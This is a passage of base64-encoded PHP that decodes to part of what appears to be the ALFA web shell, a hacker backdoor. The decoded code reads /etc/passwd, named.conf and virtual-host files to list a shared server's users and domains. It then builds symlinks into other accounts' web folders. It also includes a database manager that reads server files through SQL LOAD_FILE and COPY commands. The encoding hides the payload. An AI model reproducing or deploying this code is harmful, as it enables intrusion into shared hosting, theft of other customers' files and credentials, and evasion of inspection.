9ibGFjayA9IGFycmF5KCk7CgkJJGZpbmRlZCA9IGZhbHNlOwoJCWZvcmVhY2goJGFub255X2RvbWFpbnMgYXMgJGFub255KXsKCQkJaWYoJHN0YXRlID09ICJuYW1lZC5jb25mIil7CgkJCQlpZihAc3Ryc3RyKCRhbm9ueSwgJ3pvbmUnKSl7CgkJCQkJcHJlZ19tYXRjaF9hbGwoJyN6b25lICIoLiopIiMnLCRhbm9ueSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCX1lbHNlewoJCQkJCWNvbnRpbnVlOwoJCQkJfQoJCQl9ZWxzZWlmKCRzdGF0ZSA9PSAibmFtZWQiIHx8ICRzdGF0ZSA9PSAidmFsaWFzZXMiKXsKCQkJCWlmKCRhbm9ueSA9PSAiLiIgfHwgJGFub255ID09ICIuLiIpY29udGludWU7CgkJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkYW5vbnkgPSBydHJpbSgkYW5vbnksICIuZGIiKTsKCQkJCSRkb21haW4gPSAkYW5vbnk7CgkJCX0KCQkJJHN1Yl9kb21haW4gPSBzdHJfcmVwbGFjZShhcnJheSgiLSIsIi4iKSwgIiIsICRkb21haW4pOwoJCQlpZihzdWJzdHIoJG93bmVyLCAwLCAkb3duZXJfbGVuKSA9PSBzdWJzdHIoJHN1Yl9kb21haW4sIDAsICRvd25lcl9sZW4pKXsKCQkJCWlmKGluX2FycmF5KCRvd25lci4kZG9tYWluLCAkdGVtcF9ibGFjaykpY29udGludWU7CgkJCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkJCSRodHRwID0gImh0dHA6Ly8iLiRkb21haW47CgkJCQllY2hvIHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9IiwgIntodHRwfSIsICJ7ZG9tYWlufSIsICJ7b3duZXJ9IiwgIntzeW1wYXRofSIpLCBhcnJheSgkY291bnQsICRodHRwLCAkZG9tYWluLCAkb3duZXIsICRzeW1wYXRoKSwgJHRlbXBsYXRlKTsKCQkJCSRjb3VudCsrOwoJCQkJJHRlbXBfYmxhY2tbXSA9ICRvd25lci4kZG9tYWluOwoJCQkJJGZpbmRlZCA9IHRydWU7CgkJCX0KCQl9CgkJaWYoISRmaW5kZWQpewoJCQkkYW5vbnltb3VzX3VzZXJzW10gPSAkb3duZXI7CgkJfQoJfWVsc2V7CiAJCWlmKCRzdGF0ZSA9PSAibmFtZWQuY29uZiIpewoJCQlpZihAc3Ryc3RyKCRsaW5lLCAnem9uZScpKXsKCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJJGRvbWFpbiA9ICRkYXRhWzFdWzBdOwoJCQl9ZWxzZXsKCQkJCWNvbnRpbnVlOwoJCQl9CgkJfWVsc2VpZigkc3RhdGUgPT0gIm5hbWVkIiB8fCAkc3RhdGUgPT0gInZhbGlhc2VzIil7CgkJCWlmKCRsaW5lID09ICIuIiB8fCAkbGluZSA9PSAiLi4iKWNvbnRpbnVlOwoJCQlpZigkc3RhdGUgPT0gIm5hbWVkIikkbGluZSA9IHJ0cmltKCRsaW5lLCAiLmRiIik7CgkJCSRkb21haW4gPSAkbGluZTsKCQl9CgkJaWYoc3RybGVuKHRyaW0oJGRvbWFpbikpID4gMiAmJiAkc3RhdGUgIT0gInBhc3N3ZCIpewoJCQlpZighX2FsZmFfZmlsZV9leGlzdHMoJy9ldGMvdmFsaWFzZXMvJy4kZG9tYWluLCBmYWxzZSkpY29udGludWU7CgkJCWlmKCRpc19wb3NpeCl7CgkJCQkkdXNlciA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCcvZXRjL3ZhbGlhc2VzLycuJGRvbWFpbikpOwoJCQkJJG93bmVyID0gJHVzZXJbIm5hbWUiXTsKCQkJfWVsc2VpZigkY2FuX3J1bmNtZCl7CgkJCQkkb3duZXIgPSBhbGZhRXgoInN0YXQgLWMgJyVVJyAvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbixmYWxzZSxmYWxzZSk7CgkJCX0KCQl9Cgl9CglpZighJGFub255bW91cyl7CgkJaWYoc3RybGVuKCRvd25lcik9PTAgfHwgaW5fYXJyYXkoJG93bmVyLiRkb21haW4sICRmX2JsYWNrKSljb250aW51ZTsKCQkkc3ltcGF0aCA9IHN0cl9yZXBsYWNlKCJ7dXNlcn0iLCAkb3duZXIsICRtYWtlcHdkKTsKCQkkaHR0cCA9ICJodHRwOi8vIi4kZG9tYWluOwoJCWlmKCRzdGF0ZSA9PSAicGFzc3dkIil7CgkJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJfQoJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCAie2h0dHB9IiwgIntkb21haW59IiwgIntvd25lcn0iLCAie3N5bXBhdGh9IiksIGFycmF5KCRjb3VudCwgJGh0dHAsICRkb21haW4sICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJCSRmX2JsYWNrW10gPSAkb3duZXIuJGRvbWFpbjsKCX0KfQppZigkYW5vbnltb3VzKXsKCWZvcmVhY2goJGFub255bW91c191c2VycyBhcyAkb3duZXIpewoJCSRzeW1wYXRoID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICRvd25lciwgJG1ha2Vwd2QpOwoJCSRodHRwID0gImphdmFzY3JpcHQ6YWxlcnQoJ3dlIGNhbnQgZmluZCBkb21haW4uLi4nKSI7CgkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsICJ7aHR0cH0iLCAie2RvbWFpbn0iLCAie293bmVyfSIsICJ7c3ltcGF0aH0iKSwgYXJyYXkoJGNvdW50LCAkaHR0cCwgIls/Pz8/XSIsICRvd25lciwgJHN5bXBhdGgpLCAkdGVtcGxhdGUpOwoJCSRjb3VudCsrOwoJfQp9CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfWVsc2V7CiRpc19kaXJlY3QgPSBmYWxzZTsKJG1ha2Vwd2QgPSBhbGZhTWFrZVB3ZCgpOwppZihfYWxmYV9maWxlX2V4aXN0cygiL2V0Yy92aXJ0dWFsL2RvbWFpbm93bmVycyIpKXsKCSRtYWtlcHdkID0gIi9ob21lL3t1c2VyfS9wdWJsaWNfaHRtbCI7CgkkaXNfZGlyZWN0ID0gdHJ1ZTsKfQokc29sZSA9IF9hbGZhX2ZpbGUoIi9ldGMvdmlydHVhbC9kb21haW5vd25lcnMiKTsKJGNvdW50PTE7CmVjaG8gJHRhYmxlX2hlYWRlcjsKJHRlbXBsYXRlID0gJzx0cj48dGQ+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGMDE7Ij57Y291bnR9PC9zcGFuPjwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOmxlZnQ7Ij48YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy57dXJsfSIvPjxzcGFuIHN0eWxlPSJjb2xvcjojMDBBMjIwO21hcmdpbi1sZWZ0OjEwcHg7Ij48Yj57dXJsfTwvYj4gPC9hPjwvc3Bhbj48L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjpsZWZ0OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiNGRkZGRkY7bWFyZ2luLWxlZnQ6MTBweDsiPjxiPnt1c2VyfTwvZm9udD48L2I+PC90ZD48dGQ+PGEgaHJlZj0iJy5fX0FMRkFfREFUQV9GT0xERVJfXy4nL2FsZmFzeW1saW5rL3Jvb3R7Y3dkfSIgdGFyZ2V0PSJfYmxhbmsiPjxzcGFuIHN0eWxlPSJjb2xvcjojRkYwMDAwOyI+U3ltbGluazwvc3Bhbj48L2E+PC90ZD48L3RyPic7CmlmKCRzb2xlKXsKCWZvcmVhY2goJHNvbGUgYXMgJHZpc2libGUpewoJCWlmKEBzdHJzdHIoJHZpc2libGUsIjoiKSl7CgkJCSRzb2xldmlzaWJsZSA9IGV4cGxvZGUoJzonLCAkdmlzaWJsZSk7CgkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgdHJpbSgkc29sZXZpc2libGVbMV0pLCAkbWFrZXB3ZCk7CgkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoIntjb3VudH0iLCJ7dXNlcn0iLCJ7dXJsfSIsIntjd2R9IiksIGFycmF5KCRjb3VudCsrLCB0cmltKCRzb2xldmlzaWJsZVsxXSksIHRyaW0oJHNvbGV2aXNpYmxlWzBdKSwgJGN3ZCksICR0ZW1wbGF0ZSk7CgkJfQoJfQp9ZWxzZXsKCSRwYXNzd2QgPSBfYWxmYV9maWxlKCIvZXRjL3Bhc3N3ZCIpOwoJaWYoJHBhc3N3ZCl7CgkJJGh0bWwgPSAiIjsKCQkkaXNfbmFtZWQgPSBmYWxzZTsKCQkkdXNlcnMgPSBhcnJheSgpOwoJCSRkb21haW5zID0gYXJyYXkoKTsKCQkkdWtub3ducyA9IGFycmF5KCk7CgkJZm9yZWFjaCgkcGFzc3dkIGFzICR1c2VyKXsKCQkJJHVzZXIgPSB0cmltKCR1c2VyKTsKCQkJJGV4cGwgPSBleHBsb2RlKCI6IiwgJHVzZXIpOwoJCQlpZigoaW50KSRleHBsWzJdIDwgNTAwKWNvbnRpbnVlOwoJCQkkdXNlcnNbJGV4cGxbMF1dID0gJGV4cGxbNV07CgkJfQoJCSRzaXRlX2RvbWFpbnMgPSBAc2NhbmRpcigiL2V0Yy92aXJ0dWFsLyIpOwoJCWlmKCEkc2l0ZV9kb21haW5zKXsKCQkJJHNpdGVfZG9tYWlucyA9IGFsZmFFeCgibHMgL2V0Yy92aXJ0dWFsLyIpOwoJCQkkc2l0ZV9kb21haW5zID0gZXhwbG9kZSgiXG4iLCAkc2l0ZV9kb21haW5zKTsKCQkJaWYoISRzaXRlX2RvbWFpbnMpewoJCQkJJHNpdGVfZG9tYWlucyA9IF9hbGZhX2ZpbGUoIi9ldGMvbmFtZWQuY29uZiIpOwoJCQkJaWYoJHNpdGVfZG9tYWlucyl7JGlzX25hbWVkID0gdHJ1ZTt9CgkJCX0KCQl9CgkJZm9yZWFjaCgkc2l0ZV9kb21haW5zIGFzICRsaW5lKXsKCQkJaWYoJGlzX25hbWVkKXsKCQkJCWlmKEBzdHJzdHIoJGxpbmUsICd6b25lJykpewoJCQkJCXByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywkbGluZSwgJGRhdGEpOwoJCQkJCSRkb21haW4gPSAkZGF0YVsxXVswXTsKCQkJCQlpZihzdHJsZW4oJGRvbWFpbiAgPiAyKSAmJiAhZW1wdHkoJGRvbWFpbikpewoJCQkJCQkkZG9tYWluc1tdID0gJGRvbWFpbjsKCQkJCQl9CgkJCQl9CgkJCX1lbHNlewoJCQkJJGRvbWFpbnNbXSA9ICRsaW5lOwoJCQl9CgkJfQoJCSR4ID0gMTsKCQlmb3JlYWNoKCR1c2VycyBhcyAkdXNlciA9PiAkaG9tZSl7CgkJCWZvcmVhY2goJGRvbWFpbnMgYXMgJGRvbWFpbil7CgkJCQkkdXNlcl9sZW4gPSBzdHJsZW4oJHVzZXIpIC0gMTsKCQkJCSRzdWJfZG9tYWluID0gc3RyX3JlcGxhY2UoYXJyYXkoIi0iLCIuIiksICIiLCAkZG9tYWluKTsKCQkJCSRmaXZlX3VzZXIgPSBzdWJzdHIoJHVzZXIsIDAsJHVzZXJfbGVuKTsKCQkJCSRmaXZlX2RvbWFpbiA9IHN1YnN0cigkc3ViX2RvbWFpbiwgMCwkdXNlcl9sZW4pOwoJCQkJaWYoJGZpdmVfdXNlciA9PSAkZml2ZV9kb21haW4pewoJCQkJCWlmKCRpc19kaXJlY3QpewoJCQkJCQkkY3dkID0gc3RyX3JlcGxhY2UoInt1c2VyfSIsICR1c2VyLCAkbWFrZXB3ZCk7CgkJCQkJfWVsc2V7CgkJCQkJCSRleHBsID0gZXhwbG9kZSgifS8iLCAkbWFrZXB3ZCk7CgkJCQkJCSRjd2QgPSAkaG9tZS4iLyIuJGV4cGxbMV07CgkJCQkJfQoJCQkJCSRodG1sIC49IHN0cl9yZXBsYWNlKGFycmF5KCJ7Y291bnR9Iiwie3VzZXJ9Iiwie3VybH0iLCAie2N3ZH0iKSwgYXJyYXkoJHgrKywgJHVzZXIsICRkb21haW4sICRjd2QpLCAkdGVtcGxhdGUpOwoJCQkJfWVsc2V7CgkJCQkJJHVrbm93bnNbJHVzZXJdID0gJGhvbWU7CgkJCQl9CgkJCX0KCQl9CgkJJHVrbm93bnMgPSBhcnJheV91bmlxdWUoJHVrbm93bnMpOwoJCWZvcmVhY2goJHVrbm93bnMgYXMgJHVzZXIgPT4gJGhvbWUpewoJCQlpZigkaXNfZGlyZWN0KXsKCQkJCSRjd2QgPSBzdHJfcmVwbGFjZSgie3VzZXJ9IiwgJHVzZXIsICRtYWtlcHdkKTsKCQkJfWVsc2V7CgkJCQkkZXhwbCA9IGV4cGxvZGUoIn0vIiwgJG1ha2Vwd2QpOwoJCQkJJGN3ZCA9ICRob21lLiIvIi4kZXhwbFsxXTsKCQkJfQoJCQkkaHRtbCAuPSBzdHJfcmVwbGFjZShhcnJheSgie2NvdW50fSIsInt1c2VyfSIsInt1cmx9IiwgIntjd2R9IiksIGFycmF5KCR4KyssICR1c2VyLCAiWz8/Pz8/XSIsICRjd2QpLCAkdGVtcGxhdGUpOwoJCX0KCQllY2hvKCRodG1sKTsKCX0KfQplY2hvICI8L3RhYmxlPiI7CiRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfQp9ZWxzZXsKCWVjaG8gIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+WytdIFN5bWxpbmsgRnVuY3Rpb24gRGlzYWJsZWQgITwvYj48L2ZvbnQ+PC9wcmU+PC9jZW50ZXI+IjsKCSRjYW50X3N5bWxpbmsgPSBmYWxzZTsKfQppZigkY2FudF9zeW1saW5rKWVjaG8gJzxwcmUgaWQ9InN0ck91dHB1dCIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBjbGFzcz0ibWwxIj48YnI+PGZvbnQgY29sb3I9IiNGRkZGRkYiPkVycm9yLi4uPC9mb250PjwvYj48YnI+JzsKZWNobyAiPC9jZW50ZXI+PC90YWJsZT4iOwp9CmVjaG8gIjwvZGl2PiI7CmFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBhbGZhc3FsKCl7CmNsYXNzIERiQ2xhc3N7CnB1YmxpYyAkdHlwZTsKcHVibGljICRsaW5rOwpwdWJsaWMgJHJlczsKcHVibGljICRteXNxbGlfY29ubmVjdF9lcnJvciA9IGZhbHNlOwpwdWJsaWMgJG15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9ICIiOwpmdW5jdGlvbiBfX2NvbnN0cnVjdCgkdHlwZSl7CiR0aGlzLT50eXBlID0gJHR5cGU7Cn0KZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgppZigkdGhpcy0+bGluayA9IEBteXNxbGlfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzcywkZGJuYW1lKSl7CglyZXR1cm4gdHJ1ZTsKfWVsc2V7CgkkdGhpcy0+bXlzcWxpX2Nvbm5lY3RfZXJyb3IgPSB0cnVlOwoJJHRoaXMtPm15c3FsaV9jb25uZWN0X2Vycm9yX21zZyA9IG15c3FsaV9jb25uZWN0X2Vycm9yKCk7CglyZXR1cm4gZmFsc2U7Cn0KYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOwppZighJGhvc3RbMV0pICRob3N0WzFdPTU0MzI7CmlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKXsKc3dpdGNoKCR0aGlzLT50eXBlKXsKY2FzZSAnbXlzcWwnOgppZihAbXlzcWxpX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gcXVlcnkoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSBAbXlzcWxpX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGZldGNoKCl7CiRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuIEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlcyk7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiBAcGdfZmV0Y2hfYXNzb2MoJHJlcyk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsaXN0RGJzKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5xdWVyeSgiU0hPVyBkYXRhYmFzZXMiKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoIlNFTEVDVCBkYXRuYW1lIEZST00gcGdfZGF0YWJhc2UgV0hFUkUgZGF0aXN0ZW1wbGF0ZSE9J3QnIik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBsaXN0VGFibGVzKCl7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7CmJyZWFrOwpjYXNlICdwZ3NxbCc6CnJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBlcnJvcigpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CnJldHVybiBAbXlzcWxpX2Vycm9yKCR0aGlzLT5saW5rKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKcmV0dXJuIEBwZ19sYXN0X2Vycm9yKCk7CmJyZWFrOwp9CnJldHVybiBmYWxzZTsKfQpmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpewpzd2l0Y2goJHRoaXMtPnR5cGUpewpjYXNlICdteXNxbCc6CmlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfc2V0X2NoYXJzZXQnKSkKcmV0dXJuIEBteXNxbGlfc2V0X2NoYXJzZXQoJHRoaXMtPmxpbmssJHN0cik7CmVsc2UKJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwpicmVhazsKY2FzZSAncGdzcWwnOgpyZXR1cm4gQHBnX3NldF9jbGllbnRfZW5jb2RpbmcoJHRoaXMtPmxpbmssICRzdHIpOwpicmVhazsKfQpyZXR1cm4gZmFsc2U7Cn0KZnVuY3Rpb24gbG9hZEZpbGUoJHN0cil7CnN3aXRjaCgkdGhpcy0+dHlwZSl7CmNhc2UgJ215c3FsJzoKcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsKYnJlYWs7CmNhc2UgJ3Bnc3FsJzoKJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgc29sZXZpc2libGUoZmlsZSB0ZXh0KTtDT1BZIHNvbGV2aXNpYmxlIEZST00gJyIuYWRkc2xhc2hlcygkc3RyKS4iJztzZWxlY3QgZmlsZSBmcm9tIHNvbGV2aXNpYmxlOyIpOwokcj1hcnJheSgpOwp3aGlsZSgkaT0kdGhpcy0+ZmV0Y2goKSkKJHJbXSA9ICRpWydmaWxlJ107CiR0aGlzLT5xdWVyeSgnZHJvcCB0YWJsZSBzb2xldmlzaWJsZScpOwpyZXR1cm4gYXJyYXkoJ2ZpbGUnPT5pbXBsb2RlKCJcbiIsJHIpKTsKYnJlYWs7Cn0KcmV0dXJuIGZhbHNlOwp9Cn07CiRkYiA9IG5ldyBEYkNsYXNzKCRfUE9TVFsndHlwZSddKTsKYWxmYWhlYWQoKTsKJGZvcm1fdmlzaWJpbGl0eSA9ICJ0YWJsZSI7CmlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpewoJJGNvbm5lY3Rpb25fZGIgPSAkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7CglpZigkY29ubmVjdGlvbl9kYiAmJiAhZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7CgkJJGZvcm1fdmlzaWJpbGl0eSA9ICJub25lIjsKCX0KfQokZGF0YWJhc2VfbGlzdCA9IGFycmF5KCk7CmVjaG8gIgo8ZGl2IGNsYXNzPSdoZWFkZXInIHN0eWxlPSdtaW4taGVpZ2h0OjMwMHB4Oyc+Ii4oJGZvcm1fdmlzaWJpbGl0eSE9Im5vbmUiPyI8Y2VudGVyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IFNxbCBNYW5hZ2VyIHw8L2Rpdj48cD4iLmdldENvbmZpZ0h0bWwoJ2FsbCcpLiI8L3A+PC9jZW50ZXI+PGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbTogMTBweDsnPjxidXR0b24gY2xhc3M9J2Nvbm5lY3Rpb24taGlzLWJ0biBkYi1vcHQtaWQnIG9uY2xpY2s9J2FsZmFTaG93Q29ubmVjdGlvbkhpc3RvcnkodGhpcyk7JyBtb2RlPSdvbic+Q29ubmVjdGlvbiBIaXN0b3J5PC9idXR0b24+PGRpdiBjbGFzcz0nY29ubmVjdGlvbl9oaXN0b3J5X2hvbGRlcic+PC9kaXY+PC9kaXY+IjoiIikuIgo8ZGl2IGNsYXNzPSdzZicgY2xhc3M9J2RiLW9wdC1pZCc+PHRhYmxlIHN0eWxlPSdtYXJnaW46IDAgYXV0bzsiLigkZm9ybV92aXNpYmlsaXR5PT0ibm9uZSI/ImRpc3BsYXk6bm9uZTsiOiIiKS4iJyBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj4KPHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+VFlQRTwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SE9TVDwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgVVNFUjwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgUEFTUzwvZGl2PjwvdGQ+PHRkPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+REIgTkFNRTwvZGl2PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+Cjx0ZD48c2VsZWN0IG5hbWU9J3R5cGUnPjxvcHRpb24gdmFsdWU9J215c3FsJyBzZWxlY3RlZD5teXNxbDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nc3FsX2hvc3QnIGlkPSdkYl9ob3N0JyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4KPHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfbG9naW4nIGlkPSdkYl91c2VyJyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2xvZ2luJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPgo8dGQ+PGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NxbF9wYXNzJyBpZD0nZGJfcHcnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iJz48L3RkPjx0ZD4iOwokdG1wID0gIjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdzcWxfYmFzZScgaWQ9J2RiX25hbWUnIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX2Jhc2UnXSkpIC4iJz4iOwppZihpc3NldCgkX1BPU1RbJ3NxbF9ob3N0J10pKXsKaWYoJGNvbm5lY3Rpb25fZGIpewokZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsKJGRiLT5saXN0RGJzKCk7CmVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7CndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7Cmxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOwokZGF0YWJhc2VfbGlzdFtdID0gJHZhbHVlOwplY2hvICc8b3B0aW9uIHZhbHVlPSInLiR2YWx1ZS4nIiAnLigkdmFsdWU9PSRfUE9TVFsnc3FsX2Jhc2UnXT8nc2VsZWN0ZWQnOicnKS4nPicuJHZhbHVlLic8L29wdGlvbj4nOwp9CmVjaG8gJzwvc2VsZWN0Pic7Cn1lbHNlewoJZWNobyAkdG1wOwp9Cn1lbHNlCmVjaG8gJHRtcDsKJGN1cnJfbXlzcWxfaWQgPSAkX1BPU1RbJ2N1cnJlbnRfbXlzcWxfaWQnXTsKZWNobyAiPC90ZD4KPHRkPjxidXR0b24gb25jbGljaz0nZnModGhpcyk7cmV0dXJuIGZhbHNlOycgY2xhc3M9J2RiLW9wdC1pZCBkYi1jb25uZWN0LWJ0bic+Q29ubmVjdDwvYnV0dG9uPjwvdGQ+Cjx0ZD48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3NxbF9jb3VudCcgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiA8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPmNvdW50IHRoZSBudW1iZXIgb2Ygcm93czwvZGl2PjwvdGQ+CjwvdHI+CjwvdGFibGU+IjsKaWYoJGRiLT5teXNxbGlfY29ubmVjdF9lcnJvcil7CgllY2hvICc8ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Zm9udC1zaXplOiAxN3B4O21hcmdpbi10b3A6IDE4cHg7Ij4nLiRkYi0+bXlzcWxpX2Nvbm5lY3RfZXJyb3JfbXNnLic8L2Rpdj4nOwp9CmlmKCFlbXB0eSgkY3Vycl9teXNxbF9pZCkpewoJJHNxbF90aXRsZV9kYiA9ICIiOwoJaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpewoJCSRzcWxfdGl0bGVfZGIgPSAiZC5xdWVyeVNlbGVjdG9yKCcjdGFiXyIuJGN1cnJfbXlzcWxfaWQuIiBzcGFuJykuaW5uZXJIVE1MPSciLmFkZHNsYXNoZXMoJF9QT1NUWydzcWxfYmFzZSddKS4iJzsiOwoJfQoJZWNobyAiPHNjcmlwdD5teXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ2hvc3QnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2hvc3QnXSkuIic7bXlzcWxfY2FjaGVbJyIuJGN1cnJfbXlzcWxfaWQuIiddWyd1c2VyJ109JyIuYWRkc2xhc2hlcygkX1BPU1RbJ3NxbF9sb2dpbiddKS4iJztteXNxbF9jYWNoZVsnIi4kY3Vycl9teXNxbF9pZC4iJ11bJ3Bhc3MnXT0nIi5hZGRzbGFzaGVzKCRfUE9TVFsnc3FsX3Bhc3MnXSkuIic7bXl